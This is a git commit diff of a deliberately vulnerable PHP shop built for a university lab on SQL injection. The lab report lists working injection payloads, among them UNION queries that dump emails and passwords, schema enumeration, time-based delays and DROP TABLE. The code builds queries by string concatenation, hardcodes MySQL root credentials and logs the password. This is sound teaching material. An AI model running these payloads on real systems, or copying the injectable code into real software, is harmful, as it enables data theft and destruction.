feat: add even more vulnerabilities! migrate to mysql
This commit is contained in:
13
404.php
Normal file
13
404.php
Normal file
@ -0,0 +1,13 @@
|
|||||||
|
<!DOCTYPE html>
|
||||||
|
<html lang="en">
|
||||||
|
<head>
|
||||||
|
<meta charset="UTF-8">
|
||||||
|
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||||
|
<title>Not found</title>
|
||||||
|
<link rel="stylesheet" href="index.css">
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
<?php include 'header.php'; ?>
|
||||||
|
<h1>404 - Not found!</h1>
|
||||||
|
</body>
|
||||||
|
</html>
|
119
database.php
119
database.php
@ -2,7 +2,11 @@
|
|||||||
|
|
||||||
include_once 'utils.php';
|
include_once 'utils.php';
|
||||||
|
|
||||||
$RESULT_MODE = SQLITE3_BOTH;
|
$RESULT_MODE = PDO::FETCH_BOTH;
|
||||||
|
|
||||||
|
$host = '127.0.0.1';
|
||||||
|
$db_user = 'root';
|
||||||
|
$db_password = 'mysql';
|
||||||
|
|
||||||
session_start();
|
session_start();
|
||||||
|
|
||||||
@ -28,6 +32,8 @@ function connectToRedis()
|
|||||||
|
|
||||||
function initializeNewUser()
|
function initializeNewUser()
|
||||||
{
|
{
|
||||||
|
global $host, $db_user, $db_password;
|
||||||
|
|
||||||
$redis = connectToRedis();
|
$redis = connectToRedis();
|
||||||
if (!$redis) {
|
if (!$redis) {
|
||||||
return false;
|
return false;
|
||||||
@ -40,25 +46,35 @@ function initializeNewUser()
|
|||||||
'status' => 'active'
|
'status' => 'active'
|
||||||
]));
|
]));
|
||||||
|
|
||||||
$db_file = "db/$user_id.db";
|
/* $db_file = "db/$user_id.db"; */
|
||||||
$db = new SQLite3($db_file);
|
$connStr = "mysql:host=$host;port=3306;charset=UTF8";
|
||||||
|
try {
|
||||||
|
$db = new PDO($connStr, $db_user, $db_password);
|
||||||
|
|
||||||
$schema_sql = file_get_contents('db/schema.sql');
|
$db->exec("CREATE DATABASE IF NOT EXISTS `$user_id`;");
|
||||||
if (!$schema_sql) {
|
$db->exec("USE `$user_id`;");
|
||||||
error_log("Failed to read schema file: $schema_path");
|
error_log("new db was created successfully! $user_id", 0);
|
||||||
return false;
|
|
||||||
|
$schema_sql = file_get_contents('db/schema.sql');
|
||||||
|
if (!$schema_sql) {
|
||||||
|
error_log("Failed to read schema file: $schema_path");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
$db->exec($schema_sql);
|
||||||
|
}
|
||||||
|
catch(PDOException $e) {
|
||||||
|
error_log($e, 0);
|
||||||
|
throw new Exception($e->getMessage());
|
||||||
}
|
}
|
||||||
|
|
||||||
$db->exec($schema_sql);
|
|
||||||
|
|
||||||
if (!$db) {
|
if (!$db) {
|
||||||
// Cleanup Redis entry if db creation fails
|
// Cleanup Redis entry if db creation fails
|
||||||
$redis->hDel('users', $user_id);
|
$redis->hDel('users', $user_id);
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
$db->close();
|
|
||||||
|
|
||||||
return ["user_id" => $user_id, "db_file" => "db/$user_id.db"];
|
return ["user_id" => $user_id];
|
||||||
}
|
}
|
||||||
|
|
||||||
function initializeApp($existing_user_id = null)
|
function initializeApp($existing_user_id = null)
|
||||||
@ -72,13 +88,27 @@ function initializeApp($existing_user_id = null)
|
|||||||
|
|
||||||
function getDB($user_id = null)
|
function getDB($user_id = null)
|
||||||
{
|
{
|
||||||
if (!is_null($user_id)) {
|
global $host, $db_user, $db_password;
|
||||||
$db_file = "db/$user_id.db";
|
|
||||||
if (!file_exists($db_file)) {
|
if (is_null($user_id)) {
|
||||||
return createUserDatabase($user_id);
|
error_log('user id is null', 0);
|
||||||
}
|
return null;
|
||||||
return new SQLite3($db_file);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
error_log("Global vars - host: $host, user: $db_user, password: $db_password", 0);
|
||||||
|
try {
|
||||||
|
$connStr = "mysql:host=$host;port=3306;charset=UTF8";
|
||||||
|
$pdo = new PDO($connStr, $db_user, $db_password);
|
||||||
|
} catch(PDOException $e) {
|
||||||
|
error_log($e, 0);
|
||||||
|
throw new Exception($e->getMessage());
|
||||||
|
}
|
||||||
|
|
||||||
|
/* $pdo->exec("CREATE DATABASE IF NOT EXISTS `$user_id`;"); */
|
||||||
|
$pdo->exec("USE `$user_id`;");
|
||||||
|
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
|
||||||
|
|
||||||
|
return $pdo;
|
||||||
}
|
}
|
||||||
|
|
||||||
function registerUser($username, $email, $password)
|
function registerUser($username, $email, $password)
|
||||||
@ -86,7 +116,12 @@ function registerUser($username, $email, $password)
|
|||||||
$db = getDB($_COOKIE['user_id']);
|
$db = getDB($_COOKIE['user_id']);
|
||||||
$query = "INSERT INTO users(username, email, password) values ('$username', '$email', '$password');";
|
$query = "INSERT INTO users(username, email, password) values ('$username', '$email', '$password');";
|
||||||
|
|
||||||
return $db->exec($query);
|
$res = $db->exec($query);
|
||||||
|
if ($res === false) {
|
||||||
|
$errorInfo = $db->errorInfo();
|
||||||
|
throw new Exception("MySQL Error: $errorInfo[2]. (Code: $errorInfo[1])");
|
||||||
|
}
|
||||||
|
return $res;
|
||||||
}
|
}
|
||||||
|
|
||||||
function loginUser($email, $password)
|
function loginUser($email, $password)
|
||||||
@ -94,8 +129,8 @@ function loginUser($email, $password)
|
|||||||
global $RESULT_MODE;
|
global $RESULT_MODE;
|
||||||
$db = getDB($_COOKIE['user_id']);
|
$db = getDB($_COOKIE['user_id']);
|
||||||
$query = "SELECT username, password FROM users WHERE email = '$email';";
|
$query = "SELECT username, password FROM users WHERE email = '$email';";
|
||||||
$result = $db->query($query)->fetchArray($RESULT_MODE);
|
$result = $db->query($query)->fetch($RESULT_MODE);
|
||||||
if ($result["password"] === $password) {
|
if ($result && $result["password"] === $password) {
|
||||||
return $result['username'];
|
return $result['username'];
|
||||||
} else {
|
} else {
|
||||||
return null;
|
return null;
|
||||||
@ -107,9 +142,10 @@ function getUserById($id)
|
|||||||
global $RESULT_MODE;
|
global $RESULT_MODE;
|
||||||
$db = getDB($_COOKIE['user_id']);
|
$db = getDB($_COOKIE['user_id']);
|
||||||
$query = "SELECT username, email FROM users WHERE id = $id";
|
$query = "SELECT username, email FROM users WHERE id = $id";
|
||||||
|
|
||||||
try {
|
try {
|
||||||
$result = $db->query($query);
|
$result = $db->query($query);
|
||||||
return $result->fetchArray($RESULT_MODE);
|
return $result->fetch($RESULT_MODE);
|
||||||
} catch (Exception $e) {
|
} catch (Exception $e) {
|
||||||
$_SESSION['error_message'] = $e->getMessage()."\n";
|
$_SESSION['error_message'] = $e->getMessage()."\n";
|
||||||
}
|
}
|
||||||
@ -121,6 +157,7 @@ function createProduct($title, $amountInStock)
|
|||||||
$query = "INSERT INTO products(title, amount_in_stock) values ('$title', $amountInStock)";
|
$query = "INSERT INTO products(title, amount_in_stock) values ('$title', $amountInStock)";
|
||||||
|
|
||||||
try {
|
try {
|
||||||
|
error_log($query, 0);
|
||||||
return $db->exec($query);
|
return $db->exec($query);
|
||||||
} catch (Exception $e) {
|
} catch (Exception $e) {
|
||||||
$_SESSION['error_message'] = $e->getMessage()."\n";
|
$_SESSION['error_message'] = $e->getMessage()."\n";
|
||||||
@ -138,14 +175,15 @@ function getProductsByTitle($title)
|
|||||||
try {
|
try {
|
||||||
$result = $db->query($query);
|
$result = $db->query($query);
|
||||||
if ($result === false) {
|
if ($result === false) {
|
||||||
error_log("{$db->lastErrorCode()}", 0);
|
$errorInfo = $db->errorInfo();
|
||||||
throw new Exception($db->lastErrorMsg());
|
throw new Exception($errorInfo[2]);
|
||||||
}
|
}
|
||||||
|
|
||||||
$products = [];
|
$products = [];
|
||||||
while ($row = $result->fetchArray($RESULT_MODE)) {
|
while ($row = $result->fetch($RESULT_MODE)) {
|
||||||
$products[] = $row;
|
$products[] = $row;
|
||||||
}
|
}
|
||||||
|
$_SESSION['error_message'] = null;
|
||||||
return $products;
|
return $products;
|
||||||
} catch (Exception $e) {
|
} catch (Exception $e) {
|
||||||
$_SESSION['error_message'] = $e->getMessage()."\n";
|
$_SESSION['error_message'] = $e->getMessage()."\n";
|
||||||
@ -162,9 +200,10 @@ function getAllProducts()
|
|||||||
try {
|
try {
|
||||||
$result = $db->query($query);
|
$result = $db->query($query);
|
||||||
$products = [];
|
$products = [];
|
||||||
while ($row = $result->fetchArray($RESULT_MODE)) {
|
while ($row = $result->fetch($RESULT_MODE)) {
|
||||||
$products[] = $row;
|
$products[] = $row;
|
||||||
}
|
}
|
||||||
|
|
||||||
return $products;
|
return $products;
|
||||||
} catch (Exception $e) {
|
} catch (Exception $e) {
|
||||||
$_SESSION['error_message'] = $e->getMessage()."\n";
|
$_SESSION['error_message'] = $e->getMessage()."\n";
|
||||||
@ -192,7 +231,10 @@ function getOrdersForUser($userId)
|
|||||||
|
|
||||||
try {
|
try {
|
||||||
$result = $db->query($query);
|
$result = $db->query($query);
|
||||||
return $result->fetchArray($RESULT_MODE);
|
if ($result) {
|
||||||
|
return $result->fetch($RESULT_MODE);
|
||||||
|
}
|
||||||
|
return null;
|
||||||
} catch (Exception $e) {
|
} catch (Exception $e) {
|
||||||
$_SESSION['error_message'] = $e->getMessage()."\n";
|
$_SESSION['error_message'] = $e->getMessage()."\n";
|
||||||
}
|
}
|
||||||
@ -207,7 +249,32 @@ function getOrdersForProduct($productId)
|
|||||||
|
|
||||||
try {
|
try {
|
||||||
$result = $db->query($query);
|
$result = $db->query($query);
|
||||||
return $result->fetchArray($RESULT_MODE);
|
if ($result) {
|
||||||
|
return $result->fetch($RESULT_MODE);
|
||||||
|
}
|
||||||
|
return null;
|
||||||
|
} catch (Exception $e) {
|
||||||
|
$_SESSION['error_message'] = $e->getMessage()."\n";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function getAllUsers()
|
||||||
|
{
|
||||||
|
global $RESULT_MODE;
|
||||||
|
|
||||||
|
$db = getDB($_COOKIE['user_id']);
|
||||||
|
$query = "SELECT id, username, email FROM users";
|
||||||
|
|
||||||
|
try {
|
||||||
|
$result = $db->query($query);
|
||||||
|
if (!$result) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
$users = [];
|
||||||
|
while ($row = $result->fetch($RESULT_MODE)) {
|
||||||
|
$users[] = $row;
|
||||||
|
}
|
||||||
|
return $users;
|
||||||
} catch (Exception $e) {
|
} catch (Exception $e) {
|
||||||
$_SESSION['error_message'] = $e->getMessage()."\n";
|
$_SESSION['error_message'] = $e->getMessage()."\n";
|
||||||
}
|
}
|
||||||
|
19
doc.yaml
Normal file
19
doc.yaml
Normal file
@ -0,0 +1,19 @@
|
|||||||
|
# title: Робота з AWS Storage. Simple storage (s3)
|
||||||
|
subject: ТЗІ
|
||||||
|
doctype: ПЗ
|
||||||
|
# worknumber: 1
|
||||||
|
mentors:
|
||||||
|
- name: Кальницька А. Ю.
|
||||||
|
degree: Асистент кафедри СТ
|
||||||
|
gender: f
|
||||||
|
edu_program: &EDU КНТ
|
||||||
|
university: ХНУРЕ
|
||||||
|
authors:
|
||||||
|
- name: Орлов О. С.
|
||||||
|
# full_name_gen: Косач Лариси Петрівни
|
||||||
|
course: 3
|
||||||
|
edu: *EDU
|
||||||
|
gender: m
|
||||||
|
group: 22-1
|
||||||
|
semester: 6
|
||||||
|
# variant:
|
37
index.php
37
index.php
@ -5,15 +5,13 @@ $request = $_SERVER['REQUEST_URI'];
|
|||||||
$path = parse_url($request, PHP_URL_PATH);
|
$path = parse_url($request, PHP_URL_PATH);
|
||||||
|
|
||||||
if (isset($_COOKIE["user_id"])) {
|
if (isset($_COOKIE["user_id"])) {
|
||||||
error_log('cookie is set', 0);
|
/* error_log('cookie is set', 0); */
|
||||||
} else {
|
} else {
|
||||||
error_log('cookie is NOT set', 0);
|
/* error_log('cookie is NOT set', 0); */
|
||||||
$ids = initializeApp(null);
|
$ids = initializeApp(null);
|
||||||
setcookie("user_id", $ids["user_id"], time() + 3600, "/");
|
setcookie("user_id", $ids["user_id"], time() + 3600, "/");
|
||||||
setcookie("db_file", $ids["db_file"], time() + 3600, "/");
|
|
||||||
|
|
||||||
$_COOKIE["user_id"] = $ids["user_id"];
|
$_COOKIE["user_id"] = $ids["user_id"];
|
||||||
$_COOKIE["db_file"] = $ids["db_file"];
|
|
||||||
}
|
}
|
||||||
|
|
||||||
/* TODO: remove for prod code */
|
/* TODO: remove for prod code */
|
||||||
@ -26,24 +24,15 @@ if ($extension === 'css') {
|
|||||||
}
|
}
|
||||||
/* TODO: remove for prod code */
|
/* TODO: remove for prod code */
|
||||||
|
|
||||||
switch($path) {
|
$page = match($path) {
|
||||||
case '': case '/': case '/products':
|
'', '/', '/products' => '/products.php',
|
||||||
require __DIR__.'/products.php';
|
'/login' => '/login.php',
|
||||||
break;
|
'/register' => '/register.php',
|
||||||
case '/login':
|
'/logout' => '/logout.php',
|
||||||
require __DIR__.'/login.php';
|
'/orders' => '/orders.php',
|
||||||
break;
|
'/users' => '/users.php',
|
||||||
case '/register':
|
default => '/404.php',
|
||||||
require __DIR__.'/register.php';
|
};
|
||||||
break;
|
|
||||||
case '/logout':
|
require __DIR__.$page;
|
||||||
require __DIR__.'/logout.php';
|
|
||||||
break;
|
|
||||||
case '/orders':
|
|
||||||
require __DIR__.'/orders.php';
|
|
||||||
break;
|
|
||||||
case '/users':
|
|
||||||
require __DIR__.'/users.php';
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
?>
|
?>
|
||||||
|
70
lab.typ
Normal file
70
lab.typ
Normal file
@ -0,0 +1,70 @@
|
|||||||
|
#import "@local/nure:0.1.0": *
|
||||||
|
|
||||||
|
#show: pz-lb.with(..yaml("doc.yaml"), title: [SQL-ІН'ЄКЦІЇ], worknumber: 2)
|
||||||
|
|
||||||
|
#v(-spacing)
|
||||||
|
|
||||||
|
== Мета роботи
|
||||||
|
Ознайомитися з вразливостями типу "ін’єкції", зокрема SQL-ін'єкції.
|
||||||
|
|
||||||
|
== Хід роботи
|
||||||
|
#v(-spacing)
|
||||||
|
|
||||||
|
vulnerability.linerds.us/products
|
||||||
|
|
||||||
|
IN PRODUCT SEARCH
|
||||||
|
`' OR 1=1 --`
|
||||||
|
`' UNION select password, password, email from users;`
|
||||||
|
`' or id=2; -- select item with Nth(2nd) id`
|
||||||
|
`' UNION SELECT group_concat('email: ', email, ' passw: ', password), 1, 2 from users -- `
|
||||||
|
`' UNION SELECT password, username, email from users where email like '%admin%'; -- `
|
||||||
|
`' union select TABLE_NAME,1,2 from INFORMATION_SCHEMA.TABLES; # `
|
||||||
|
`' union select SCHEMA_NAME, 1,2 from INFORMATION_SCHEMA.SCHEMATA; # `
|
||||||
|
`' union select BENCHMARK(500000, AES_DECRYPT(AES_ENCRYPT(REPEAT("a",3000), "key"), "key")), 2, 3; # `
|
||||||
|
#figure(image("waiting_50s.png"), caption: [Результат SQL ін'єкції на основі часу]) // TODO: caption
|
||||||
|
|
||||||
|
IN ADD PRODUCT
|
||||||
|
`3); drop table users; `
|
||||||
|
`-1); insert into users(username, email, password) values ('hacker2222', 'mail\@hackerr.com' , 'pass'); -- `
|
||||||
|
`'1'); DO SLEEP(5); #`
|
||||||
|
// === Підготовка
|
||||||
|
// #lorem(150)
|
||||||
|
|
||||||
|
// === Виконання дослідження
|
||||||
|
// #lorem(300)
|
||||||
|
|
||||||
|
// === Підрахунок результатів
|
||||||
|
// #lorem(250)
|
||||||
|
|
||||||
|
== Висновки
|
||||||
|
|
||||||
|
// == Контрольні запитання
|
||||||
|
// #lorem(100):
|
||||||
|
// - #lorem(20);
|
||||||
|
// - #lorem(30);
|
||||||
|
// - #lorem(15);
|
||||||
|
// - #lorem(25);
|
||||||
|
// - #lorem(42);
|
||||||
|
// - #lorem(27).
|
||||||
|
|
||||||
|
#show: appendices_style
|
||||||
|
|
||||||
|
// = Quote
|
||||||
|
// #link("https://youtu.be/bJQj1uKtnus")[
|
||||||
|
// The art isn't the art, the art is never the art,
|
||||||
|
// the art is the thing that happens inside you when you make it and the feeling in the heart of the beholder.
|
||||||
|
// ]
|
||||||
|
|
||||||
|
|
||||||
|
// = Приклад звіту 1
|
||||||
|
// #v(-spacing)
|
||||||
|
// == Частина 1
|
||||||
|
// #lorem(100)
|
||||||
|
// == Частина2
|
||||||
|
// #lorem(200)
|
||||||
|
//
|
||||||
|
// = Приклад звіту 2
|
||||||
|
// #lorem(200)
|
||||||
|
//
|
||||||
|
// = Приклад звіту 3
|
||||||
|
// #lorem(200)
|
10
register.php
10
register.php
@ -8,13 +8,17 @@ if ($_SERVER["REQUEST_METHOD"] === "POST") {
|
|||||||
$email = $_POST["email"];
|
$email = $_POST["email"];
|
||||||
$password = $_POST["password"];
|
$password = $_POST["password"];
|
||||||
|
|
||||||
$result = registerUser($username, $email, $password);
|
try {
|
||||||
|
$result = registerUser($username, $email, $password);
|
||||||
|
} catch(Exception $e) {
|
||||||
|
error_log($e, 0);
|
||||||
|
$_SESSION['error_message'] = $e->getMessage();
|
||||||
|
}
|
||||||
|
|
||||||
if ($result) {
|
if ($result) {
|
||||||
$_SESSION['error_message'] = null;
|
$_SESSION['error_message'] = null;
|
||||||
$_SESSION['username'] = $username;
|
$_SESSION['username'] = $username;
|
||||||
$_SESSION['email'] = $email;
|
$_SESSION['email'] = $email;
|
||||||
} else {
|
|
||||||
$_SESSION['error_message'] = "User with this username already exists!";
|
|
||||||
}
|
}
|
||||||
header("Location: /products");
|
header("Location: /products");
|
||||||
}
|
}
|
||||||
|
21
users.php
21
users.php
@ -1,3 +1,10 @@
|
|||||||
|
<?php
|
||||||
|
include_once 'database.php';
|
||||||
|
|
||||||
|
if (!isset($users)) {
|
||||||
|
$users = getAllUsers();
|
||||||
|
}
|
||||||
|
?>
|
||||||
<!DOCTYPE html>
|
<!DOCTYPE html>
|
||||||
<html lang="en">
|
<html lang="en">
|
||||||
<head>
|
<head>
|
||||||
@ -8,6 +15,20 @@
|
|||||||
</head>
|
</head>
|
||||||
<body>
|
<body>
|
||||||
<?php include 'header.php'; ?>
|
<?php include 'header.php'; ?>
|
||||||
|
|
||||||
<h1>Users - Work in progress!</h1>
|
<h1>Users - Work in progress!</h1>
|
||||||
|
<h2>Users:</h2>
|
||||||
|
|
||||||
|
<?php if (empty($users)): ?>
|
||||||
|
<p>No users found.</p>
|
||||||
|
<?php else: ?>
|
||||||
|
<?php foreach ($users as $user): ?>
|
||||||
|
<div class="product">
|
||||||
|
<h3><?= $user[1] ?></h3>
|
||||||
|
<p>Id: <?= $user[0] ?></p>
|
||||||
|
<p>Email: <strong><?php echo $user[2]; ?></strong></p>
|
||||||
|
</div>
|
||||||
|
<?php endforeach; ?>
|
||||||
|
<?php endif; ?>
|
||||||
</body>
|
</body>
|
||||||
</html>
|
</html>
|
||||||
|
BIN
waiting_15s.png
Normal file
BIN
waiting_15s.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 12 KiB |
BIN
waiting_50s.png
Normal file
BIN
waiting_50s.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 12 KiB |
Reference in New Issue
Block a user